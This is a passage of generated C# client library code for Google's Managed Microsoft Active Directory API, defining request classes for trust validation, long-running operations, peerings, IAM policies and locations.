public virtual ValidateTrustRequest ValidateTrust(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ValidateTrustRequest body, string name)
{
return new ValidateTrustRequest(service, body, name);
}
/// <summary>
/// Validates a trust state, that the target domain is reachable, and that the target domain is able
/// to accept incoming trust requests.
/// </summary>
public class ValidateTrustRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new ValidateTrust request.</summary>
public ValidateTrustRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ValidateTrustRequest body, string name) : base(service)
{
Name = name;
Body = body;
InitParameters();
}
/// <summary>
/// Required. The resource domain name, project name, and location using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ValidateTrustRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "validateTrust";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}:validateTrust";
/// <summary>Initializes ValidateTrust parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
}
/// <summary>Gets the Operations resource.</summary>
public virtual OperationsResource Operations { get; }
/// <summary>The "operations" collection of methods.</summary>
public class OperationsResource
{
private const string Resource = "operations";
/// <summary>The service which this resource belongs to.</summary>
private readonly Google.Apis.Services.IClientService service;
/// <summary>Constructs a new resource.</summary>
public OperationsResource(Google.Apis.Services.IClientService service)
{
this.service = service;
}
/// <summary>
/// Starts asynchronous cancellation on a long-running operation. The server makes a best effort to
/// cancel the operation, but success is not guaranteed. If the server doesn't support this method,
/// it returns `google.rpc.Code.UNIMPLEMENTED`. Clients can use Operations.GetOperation or other
/// methods to check whether the cancellation succeeded or whether the operation completed despite
/// cancellation. On successful cancellation, the operation is not deleted; instead, it becomes an
/// operation with an Operation.error value with a google.rpc.Status.code of 1, corresponding to
/// `Code.CANCELLED`.
/// </summary>
/// <param name="body">The body of the request.</param>
/// <param name="name">The name of the operation resource to be cancelled.</param>
public virtual CancelRequest Cancel(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.CancelOperationRequest body, string name)
{
return new CancelRequest(service, body, name);
}
/// <summary>
/// Starts asynchronous cancellation on a long-running operation. The server makes a best effort to
/// cancel the operation, but success is not guaranteed. If the server doesn't support this method,
/// it returns `google.rpc.Code.UNIMPLEMENTED`. Clients can use Operations.GetOperation or other
/// methods to check whether the cancellation succeeded or whether the operation completed despite
/// cancellation. On successful cancellation, the operation is not deleted; instead, it becomes an
/// operation with an Operation.error value with a google.rpc.Status.code of 1, corresponding to
/// `Code.CANCELLED`.
/// </summary>
public class CancelRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Empty>
{
/// <summary>Constructs a new Cancel request.</summary>
public CancelRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.CancelOperationRequest body, string name) : base(service)
{
Name = name;
Body = body;
InitParameters();
}
/// <summary>The name of the operation resource to be cancelled.</summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.CancelOperationRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "cancel";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}:cancel";
/// <summary>Initializes Cancel parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/operations/[^/]+$",
});
}
}
/// <summary>
/// Deletes a long-running operation. This method indicates that the client is no longer interested
/// in the operation result. It does not cancel the operation. If the server doesn't support this
/// method, it returns `google.rpc.Code.UNIMPLEMENTED`.
/// </summary>
/// <param name="name">The name of the operation resource to be deleted.</param>
public virtual DeleteRequest Delete(string name)
{
return new DeleteRequest(service, name);
}
/// <summary>
/// Deletes a long-running operation. This method indicates that the client is no longer interested
/// in the operation result. It does not cancel the operation. If the server doesn't support this
/// method, it returns `google.rpc.Code.UNIMPLEMENTED`.
/// </summary>
public class DeleteRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Empty>
{
/// <summary>Constructs a new Delete request.</summary>
public DeleteRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>The name of the operation resource to be deleted.</summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "delete";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "DELETE";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Delete parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/operations/[^/]+$",
});
}
}
/// <summary>
/// Gets the latest state of a long-running operation. Clients can use this method to poll the
/// operation result at intervals as recommended by the API service.
/// </summary>
/// <param name="name">The name of the operation resource.</param>
public virtual GetRequest Get(string name)
{
return new GetRequest(service, name);
}
/// <summary>
/// Gets the latest state of a long-running operation. Clients can use this method to poll the
/// operation result at intervals as recommended by the API service.
/// </summary>
public class GetRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new Get request.</summary>
public GetRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>The name of the operation resource.</summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "get";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Get parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/operations/[^/]+$",
});
}
}
/// <summary>
/// Lists operations that match the specified filter in the request. If the server doesn't support
/// this method, it returns `UNIMPLEMENTED`. NOTE: the `name` binding allows API services to
/// override the binding to use different resource name schemes, such as `users/*/operations`. To
/// override the binding, API services can add a binding such as `"/v1/{name=users/*}/operations"`
/// to their service configuration. For backwards compatibility, the default name includes the
/// operations collection id, however overriding users must ensure the name binding is the parent
/// resource, without the operations collection id.
/// </summary>
/// <param name="name">The name of the operation's parent resource.</param>
public virtual ListRequest List(string name)
{
return new ListRequest(service, name);
}
/// <summary>
/// Lists operations that match the specified filter in the request. If the server doesn't support
/// this method, it returns `UNIMPLEMENTED`. NOTE: the `name` binding allows API services to
/// override the binding to use different resource name schemes, such as `users/*/operations`. To
/// override the binding, API services can add a binding such as `"/v1/{name=users/*}/operations"`
/// to their service configuration. For backwards compatibility, the default name includes the
/// operations collection id, however overriding users must ensure the name binding is the parent
/// resource, without the operations collection id.
/// </summary>
public class ListRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ListOperationsResponse>
{
/// <summary>Constructs a new List request.</summary>
public ListRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>The name of the operation's parent resource.</summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>The standard list filter.</summary>
[Google.Apis.Util.RequestParameterAttribute("filter", Google.Apis.Util.RequestParameterType.Query)]
public virtual string Filter { get; set; }
/// <summary>The standard list page size.</summary>
[Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<int> PageSize { get; set; }
/// <summary>The standard list page token.</summary>
[Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)]
public virtual string PageToken { get; set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "list";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes List parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/operations$",
});
RequestParameters.Add("filter", new Google.Apis.Discovery.Parameter
{
Name = "filter",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter
{
Name = "pageSize",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter
{
Name = "pageToken",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
}
/// <summary>Gets the Peerings resource.</summary>
public virtual PeeringsResource Peerings { get; }
/// <summary>The "peerings" collection of methods.</summary>
public class PeeringsResource
{
private const string Resource = "peerings";
/// <summary>The service which this resource belongs to.</summary>
private readonly Google.Apis.Services.IClientService service;
/// <summary>Constructs a new resource.</summary>
public PeeringsResource(Google.Apis.Services.IClientService service)
{
this.service = service;
}
/// <summary>Creates a Peering for Managed AD instance.</summary>
/// <param name="body">The body of the request.</param>
/// <param name="parent">
/// Required. Resource project name and location using the form:
/// `projects/{project_id}/locations/global`
/// </param>
public virtual CreateRequest Create(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Peering body, string parent)
{
return new CreateRequest(service, body, parent);
}
/// <summary>Creates a Peering for Managed AD instance.</summary>
public class CreateRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new Create request.</summary>
public CreateRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Peering body, string parent) : base(service)
{
Parent = parent;
Body = body;
InitParameters();
}
/// <summary>
/// Required. Resource project name and location using the form:
/// `projects/{project_id}/locations/global`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Parent { get; private set; }
/// <summary>Required. Peering Id, unique name to identify peering.</summary>
[Google.Apis.Util.RequestParameterAttribute("peeringId", Google.Apis.Util.RequestParameterType.Query)]
public virtual string PeeringId { get; set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Peering Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "create";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+parent}/peerings";
/// <summary>Initializes Create parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter
{
Name = "parent",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global$",
});
RequestParameters.Add("peeringId", new Google.Apis.Discovery.Parameter
{
Name = "peeringId",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>Deletes identified Peering.</summary>
/// <param name="name">
/// Required. Peering resource name using the form:
/// `projects/{project_id}/locations/global/peerings/{peering_id}`
/// </param>
public virtual DeleteRequest Delete(string name)
{
return new DeleteRequest(service, name);
}
/// <summary>Deletes identified Peering.</summary>
public class DeleteRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new Delete request.</summary>
public DeleteRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>
/// Required. Peering resource name using the form:
/// `projects/{project_id}/locations/global/peerings/{peering_id}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "delete";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "DELETE";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Delete parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/peerings/[^/]+$",
});
}
}
/// <summary>Gets details of a single Peering.</summary>
/// <param name="name">
/// Required. Peering resource name using the form:
/// `projects/{project_id}/locations/global/domains/{peering_id}`
/// </param>
public virtual GetRequest Get(string name)
{
return new GetRequest(service, name);
}
/// <summary>Gets details of a single Peering.</summary>
public class GetRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Peering>
{
/// <summary>Constructs a new Get request.</summary>
public GetRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>
/// Required. Peering resource name using the form:
/// `projects/{project_id}/locations/global/domains/{peering_id}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "get";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Get parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/peerings/[^/]+$",
});
}
}
/// <summary>
/// Gets the access control policy for a resource. Returns an empty policy if the resource exists
/// and does not have a policy set.
/// </summary>
/// <param name="resource">
/// REQUIRED: The resource for which the policy is being requested. See the operation documentation
/// for the appropriate value for this field.
/// </param>
public virtual GetIamPolicyRequest GetIamPolicy(string resource)
{
return new GetIamPolicyRequest(service, resource);
}
/// <summary>
/// Gets the access control policy for a resource. Returns an empty policy if the resource exists
/// and does not have a policy set.
/// </summary>
public class GetIamPolicyRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Policy>
{
/// <summary>Constructs a new GetIamPolicy request.</summary>
public GetIamPolicyRequest(Google.Apis.Services.IClientService service, string resource) : base(service)
{
Resource = resource;
InitParameters();
}
/// <summary>
/// REQUIRED: The resource for which the policy is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("resource", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Resource { get; private set; }
/// <summary>
/// Optional. The policy format version to be returned. Valid values are 0, 1, and 3. Requests
/// specifying an invalid value will be rejected. Requests for policies with any conditional
/// bindings must specify version 3. Policies without any conditional bindings may specify any
/// valid value or leave the field unset. To learn which resources support conditions in their
/// IAM policies, see the [IAM
/// documentation](https://cloud.google.com/iam/help/conditions/resource-policies).
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("options.requestedPolicyVersion", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<int> OptionsRequestedPolicyVersion { get; set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "getIamPolicy";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+resource}:getIamPolicy";
/// <summary>Initializes GetIamPolicy parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("resource", new Google.Apis.Discovery.Parameter
{
Name = "resource",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/peerings/[^/]+$",
});
RequestParameters.Add("options.requestedPolicyVersion", new Google.Apis.Discovery.Parameter
{
Name = "options.requestedPolicyVersion",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>Lists Peerings in a given project.</summary>
/// <param name="parent">
/// Required. The resource name of the domain location using the form:
/// `projects/{project_id}/locations/global`
/// </param>
public virtual ListRequest List(string parent)
{
return new ListRequest(service, parent);
}
/// <summary>Lists Peerings in a given project.</summary>
public class ListRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ListPeeringsResponse>
{
/// <summary>Constructs a new List request.</summary>
public ListRequest(Google.Apis.Services.IClientService service, string parent) : base(service)
{
Parent = parent;
InitParameters();
}
/// <summary>
/// Required. The resource name of the domain location using the form:
/// `projects/{project_id}/locations/global`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Parent { get; private set; }
/// <summary>
/// Optional. Filter specifying constraints of a list operation. For example,
/// `peering.authoized_network ="/projects/myprojectid"`.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("filter", Google.Apis.Util.RequestParameterType.Query)]
public virtual string Filter { get; set; }
/// <summary>
/// Optional. Specifies the ordering of results following syntax at
/// https://cloud.google.com/apis/design/design_patterns#sorting_order.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("orderBy", Google.Apis.Util.RequestParameterType.Query)]
public virtual string OrderBy { get; set; }
/// <summary>
/// Optional. The maximum number of items to return. If not specified, a default value of 1000
/// will be used by the service. Regardless of the page_size value, the response may include a
/// partial list and a caller should only rely on response's next_page_token to determine if
/// there are more instances left to be queried.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<int> PageSize { get; set; }
/// <summary>
/// Optional. The next_page_token value returned from a previous List request, if any.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)]
public virtual string PageToken { get; set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "list";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+parent}/peerings";
/// <summary>Initializes List parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter
{
Name = "parent",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global$",
});
RequestParameters.Add("filter", new Google.Apis.Discovery.Parameter
{
Name = "filter",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("orderBy", new Google.Apis.Discovery.Parameter
{
Name = "orderBy",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter
{
Name = "pageSize",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter
{
Name = "pageToken",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>Updates the labels for specified Peering.</summary>
/// <param name="body">The body of the request.</param>
/// <param name="name">
/// Output only. Unique name of the peering in this scope including projects and location using the
/// form: `projects/{project_id}/locations/global/peerings/{peering_id}`.
/// </param>
public virtual PatchRequest Patch(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Peering body, string name)
{
return new PatchRequest(service, body, name);
}
/// <summary>Updates the labels for specified Peering.</summary>
public class PatchRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new Patch request.</summary>
public PatchRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Peering body, string name) : base(service)
{
Name = name;
Body = body;
InitParameters();
}
/// <summary>
/// Output only. Unique name of the peering in this scope including projects and location using
/// the form: `projects/{project_id}/locations/global/peerings/{peering_id}`.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>
/// Required. Mask of fields to update. At least one path must be supplied in this field. The
/// elements of the repeated paths field may only include these fields from Peering: * `labels`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("updateMask", Google.Apis.Util.RequestParameterType.Query)]
public virtual object UpdateMask { get; set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Peering Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "patch";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "PATCH";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Patch parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/peerings/[^/]+$",
});
RequestParameters.Add("updateMask", new Google.Apis.Discovery.Parameter
{
Name = "updateMask",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>
/// Sets the access control policy on the specified resource. Replaces any existing policy. Can
/// return `NOT_FOUND`, `INVALID_ARGUMENT`, and `PERMISSION_DENIED` errors.
/// </summary>
/// <param name="body">The body of the request.</param>
/// <param name="resource">
/// REQUIRED: The resource for which the policy is being specified. See the operation documentation
/// for the appropriate value for this field.
/// </param>
public virtual SetIamPolicyRequest SetIamPolicy(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SetIamPolicyRequest body, string resource)
{
return new SetIamPolicyRequest(service, body, resource);
}
/// <summary>
/// Sets the access control policy on the specified resource. Replaces any existing policy. Can
/// return `NOT_FOUND`, `INVALID_ARGUMENT`, and `PERMISSION_DENIED` errors.
/// </summary>
public class SetIamPolicyRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Policy>
{
/// <summary>Constructs a new SetIamPolicy request.</summary>
public SetIamPolicyRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SetIamPolicyRequest body, string resource) : base(service)
{
Resource = resource;
Body = body;
InitParameters();
}
/// <summary>
/// REQUIRED: The resource for which the policy is being specified. See the operation
/// documentation for the appropriate value for this field.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("resource", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Resource { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SetIamPolicyRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "setIamPolicy";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+resource}:setIamPolicy";
/// <summary>Initializes SetIamPolicy parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("resource", new Google.Apis.Discovery.Parameter
{
Name = "resource",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/peerings/[^/]+$",
});
}
}
/// <summary>
/// Returns permissions that a caller has on the specified resource. If the resource does not exist,
/// this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This operation is
/// designed to be used for building permission-aware UIs and command-line tools, not for
/// authorization checking. This operation may "fail open" without warning.
/// </summary>
/// <param name="body">The body of the request.</param>
/// <param name="resource">
/// REQUIRED: The resource for which the policy detail is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </param>
public virtual TestIamPermissionsRequest TestIamPermissions(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsRequest body, string resource)
{
return new TestIamPermissionsRequest(service, body, resource);
}
/// <summary>
/// Returns permissions that a caller has on the specified resource. If the resource does not exist,
/// this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This operation is
/// designed to be used for building permission-aware UIs and command-line tools, not for
/// authorization checking. This operation may "fail open" without warning.
/// </summary>
public class TestIamPermissionsRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsResponse>
{
/// <summary>Constructs a new TestIamPermissions request.</summary>
public TestIamPermissionsRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsRequest body, string resource) : base(service)
{
Resource = resource;
Body = body;
InitParameters();
}
/// <summary>
/// REQUIRED: The resource for which the policy detail is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("resource", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Resource { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "testIamPermissions";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+resource}:testIamPermissions";
/// <summary>Initializes TestIamPermissions parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("resource", new Google.Apis.Discovery.Parameter
{
Name = "resource",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/peerings/[^/]+$",
});
}
}
}
}
/// <summary>Gets information about a location.</summary>
/// <param name="name">Resource name for the location.</param>
public virtual GetRequest Get(string name)
{
return new GetRequest(service, name);
}
/// <summary>Gets information about a location.</summary>
public class GetRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Location>
{
/// <summary>Constructs a new Get request.</summary>
public GetRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>Resource name for the location.</summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "get";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Get parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
